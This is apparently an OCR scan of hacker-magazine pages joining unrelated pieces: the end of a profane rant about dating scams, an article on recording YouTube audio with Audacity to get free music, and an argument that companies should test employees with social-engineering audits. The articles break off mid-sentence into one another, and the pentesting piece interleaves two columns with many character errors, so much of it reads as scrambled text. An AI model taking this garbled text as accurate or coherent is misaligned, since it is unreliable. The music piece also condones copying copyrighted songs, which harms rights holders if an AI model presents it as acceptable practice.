asking you for a thing. And I am not filling this
article with the usual "educational purposes only"
qualifiers, because, as far as I am concerned, any
corporate pimp willing to try and rip you off by
preying on your vulnerabilities (admit it, you still
have some) is someone that is going to spend
their afterlife standing on their head in a pool of
shit (can't remember what Dante level that is - it's
a book, not a videogame). And besides, what I am
about to tell you is totally legal. Fuck 'em.

So what do you need to do? Well, there are
some things - and they're not necessarily easy,
but I think they're within your grasp. First of
all, if you've already parted with your cat-vomit
cash and been suckered in by the edating scam(s),
you need to think about the void in your life that
caused you to drop your normally impenetrable
deflector shields and leap into the arms of [insert
comic villain ofchoice], begging him/her to drain
you ... er, your bank account, of all its contents.
You should get out more - go to a 2600 meeting,
or volunteer somewhere and meet some real
people. Okay, that ain't happening. But I under­
stand: it's Stockholm Syndrome.

Second, you have to take down your Kevin
Mitnick posters and, yes, give away or eBay your
limited-edition copy of Freedom Downtime - I
know, it will be hard, but so is this life, pardner.
And don't you fucking dare put up a Steve Jobs
poster instead (he was dead before I wrote this),
comprende? Or buy that distasteful "biography"
that is hitting the bookstores before poor Steve
is either cold in the grave or scattered to the
ends of the earth or has had his consciousness
fully loaded onto the optional tape-drive of one
of those old Radio Shack TRS-80s (he was a
big nostalgia fan). That's an order, Private!! You











by Seeker7

Go Build Your Playlist
http://audacity.sourceforge.net/
http://soundcloud.com/
http://www.di.fm/
and many more out there.
Happy 1istening.

~q$$ @m~~$~1r~$ ®m$~t' ,@q t'~$ @~
by DMUX level at the time: Sony Vegas, Adobe After Effects,

Adobe Premiere, and Sound Forge. The overall goal
when making an elaborate Quake video is to sync up
the music track with the frags. Somewhere around
that time, I came across the greatest program every
music enthusiast should know: Audacity. I created
the audio track in Audacity, then laid it in the video
editing program, and compiled the video.

What does this have to do with getting free
music? Well, I don't know why I didn't hear about
this approach years before I started doing it. With
Audacity you can easily record any noise that your
computer outputs and re-encode it in whatever format
you want. Best of all, it is free. You can actually do
this with many other programs. Audacity is pretty
easy to use and has a few editing options that make
it quick.

I don't know why, but in 2005 I was in search
of vintage music videos I used to watch when music
videos were actually shown on the music television
channel. I didn't begin by searching the P2P realm; I
googled it first just to see what would come up. Sure
enough, I came across the newly created You Tube.
com. I found lots of remixes to songs that I never
heard. I thought, why not just record the audio off
YouTube and convert them into MP3s instead of
trying to find the MP3? Why waste time and risk
getting a billion dollar fine for downloading a few
MP3s of songs I still have on tape? Before I knew it,
YouTube became my personal music box.

I am so glad that the RIAA finds it OK for all of
the music to be uploaded to YouTube. I can quickly
find rare remixes of songs on YouTube that would
have taken hours of searching Kazaa, BearShare,
torrents, eMule, and Napster combined. I can record
them from YouTube and put them on my iPod or just
bum them to DVD. Lots of people ask me where I
find some of my remixes because they have never
heard them on iTunes. When I tell them I got it off
of YouTube, they get the most puzzled look on their
face. "Youtube?" "Yea, YouTube." I am sure others
have done it, but I have never heard or read ofanyone
else doing it this way. With all of the online radio
stations and music videos that are always embedded
on every website, why not?

Why should we have to pay for music that we
paid for 20 years ago? I don't want to pay $0.99 for
a song; I have the single on tape! The RIAA never
emailed my official licensed MP3s for all of the
songs that I bought years ago. What gives them the
right to put it in a different wrapper and resell it?

So, I guess my process of finding "free music"
really hasn't changed from when I was eight years
old. The only thing that has changed is my age and
the format of the music.

I don't know why I haven't heard of anyone else
doing it the way I did. It was a simple idea and it was
the same way I did it when I was eight. Maybe it is
too much work for most people and they don't care.

Since the boom of the Internet, there was a time
that music had somewhat of a Holy Grail status.
Everyone was trying to find it. In the past 14 years, I
have read various articles and tactics of how to find
free MP3s. As I read these articles, some explain how
to get free music by logging in to [insert "one free
MP3 when you sign up" website here]. Seems like a
lot of work to me. I think back to my early childhood
of "obtaining free music."

(Just to set the record straight, stealing is wrong.
Now back to the story.)

I was never a huge music aficionado, but 1did like
the top tens on the radio. I wanted to play all the new
"top of the charts" songs at my leisure. When I was
eight (circa 1989), I had a small red POS radio with
a tape deck that had the capability to record. While
riding in the car, if I heard a song I liked, I would
have to quickly write down the name of the song or
artist before my ADD kicked in and I would be back
to "hey I like this song" when it played again. Usually
on Saturday in between beating Super Cantra and
struggling with battle toads on NES, I would have a
blank cassette in the radio and was ready to push the
record button for any song that I heard earlier in the
week. With the red POS radio I had, I couldn't make
a sound while it was recording because the micro­
phone would pick up everything external to the radio.
Quite a tedious operation but hey, I didn't have to go
buy the single. A full album on CC (compact cassette)
cost $15.00 back in the day. I always found it strange
that after CDs were popular, they ended up being the
same price for an album as what the tapes used to
be when they were popular. I wonder if Gramophone
Records and 8 Tracks started this trend.

Fast forward eight years or so - still before
Napster. MP3s were starting to be all the rage. You
could always hear kids in the hall at school comparing
meager MP3 collections. You wouldn't even care
what music they had; it was all about the MP3 count.
"I got over 7,000 MP3s, do you want to touch me?"

After Napster was released, everything changed.
Granted, I am somewhat nostalgic, so 1wanted all the
songs that I still had on cassette so I could listen to
them on my PC. I still had several cassettes and quite
a few CDs, but 1 knew that MP3s were where it was
all going. 1 didn't want to have to re-buy the same
music that was on my tapes for a CD, and then rip
them to my computer.

Now fast forward to around 2002. I invested
(wasted) many hours into Quake 3. So much time
that I would make somewhat elaborate frag videos
and upload them to Planetquake/Own-Age and other
gaming sites pre- YouTube days. I am proud that one
of my demos made it in the "Get Quaked 3" video,
but that's another story. When 1 would make Quake
movies, I used all kinds of software way above my
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group checked up on things, they would suspect
something.

The company I work for recently sent out an This is just one of the many examples of how
email letting everyone know that an outside security social engineering could get access to privileged
firm would be attempting to gain unauthorized access information. There are many more, and I am sure
to company tools and resources from both inside and if you look at information from various magazines
outside of the company's infrastructure. It also stated such as 2600 and audio and videos from various cons
that this was part of a yearly security audit being around the world, you can find many more.
d~ne by t~e company. The only problem ~hat I ha.ve My goal here is not a primer on social engi-
WIth that IS that I found a bunch of potentIal secunty neering. My goal is to point out something that should
flaws just a few months ago from my home that I then be obvious. Companies should be running regular
brought to the attention of my superiors. I guess the . t 1 it h k . t th . 1 d. ., In erna sec un y c ec s agains err emp oyees an
penetratIon tests didn t do too well last year.... be vi . f db k h 1

Anyway, this whole process got me to thinking. e givmg constant ee ac to ensure. t at pe~p e
Many companies and organizations will either hire kn~w how. to properly handle secure mfo~atlon.
outside consultant groups or use internal ITIsecurity ThIS ~speclally holds true for. customer service and
staff to run these penetration tests. I do believe that technical support groups, which generally face the
proper security and network penetration testing is end user and public at large.
important to protecting a company's assets. However, In my current job, I have seen plenty of cases
it shouldn't be the only method of network security. where someone calls in stating that their account has

First, many companies have a flawed password been compromised. When checking the history in
policy. Luckily, the company I work for is pretty our system, I find that existing security policy wasn't
strict on that, but many companies are not. If a followed, simply because the person on the other
company doesn't have users changing their pass- end of the line was irate, pushy, and threatening to
words on a regular basis, making sure that the same contact the corporate office. The representative was
passwords aren't being used for multiple company overwhelmed and caved.
tools and resources, and ensuring that the password Again, regular network penetration testing can
poli~y forces upper and lower ca~e, numbers, and provide valuable feedback to IT and security profes-
special characters, there are potentials for problems sionals that is essential to creating a secure network
right there. ..

H h
· · h . d b k environment. I am not trying to downplay that.

owever, t IS IS not t e major raw ac to ...
. Th bi d b k d d However, network secunty IS only going to be as

pentest~ng. . e. iggest raw ac to stan .ar ood as the eo le us in the network.
pentestIng IS that It doesn't test the weakest possible g p p g
link in the network. The link I speak of is the guaran- I don't know. of an~ sec~rity co~sultant.groups
teed failure point of any network, without any excep- that perform SOCIal engmeenng audits, and If there
tion. In fact, you could say that it is the most critical are groups out there, they probably charge a pretty
element in the network security chain. The element penny to get that service. My suggestion would be
I speak of is the group of people who are using the that companies use senior members of their own
network on a day to day basis, the employees. teams to test other employees. This way, they already

While most companies have strict policies and have an idea of which buttons to push, and where the
procedures when it comes to revealing information flaws in the system might be. All that would need to
over company phones to non-authorized people, be done is to prove that to the right people in order
these policies are not often put to the test. Chances to increase trainings and awareness on existing poli-
are that someone who is sufficiently skilled at social cies, and to create new ones to fill in the gaps. Not
engineering could easily discover what buttons need to mention that because these people are already
to b~ pushed and wh~n in order to get the exact infor- employed by the company in question, it would save

matIon the~ are looking for. them the costs of hiring someone from the outside.
~any times, transfers and/or exchanges .between In closing, I just want to say that pentesting is

multiple departments can be a very weak link. One .. . .
. h d 'd 11" great. It can be tedIOUS, excitmg, challenging, fun,

group eit er oesn t ocument ca s or mteractions . .
11 11 d if th d h th and everything m between. It can be a great resource

very we - or at a - an , even 1 ey 0, teo er .... h .
group either doesn't have access to or usually doesn't to many orga~IzatlOns 100kI~g to .Improve t ~Ir
check the history in existing ticketing systems used network secunty. ~ll .that being sa.ld, compan.les
by most IT and customer service groups. Basically should also place a significant emphasis on educatIng
put, if someone is trying to get information on an and policing their own. When these two things are
account, individual, or network, they can usually get coupled together - both network and social engi-
part of the information they need from one depart- neering pentesting - one can begin to build a very
ment and use that to get what they want from another. solid security policy, starting with and strengthening
Perhaps, if documentation was better and the second the weakest link, the employees.
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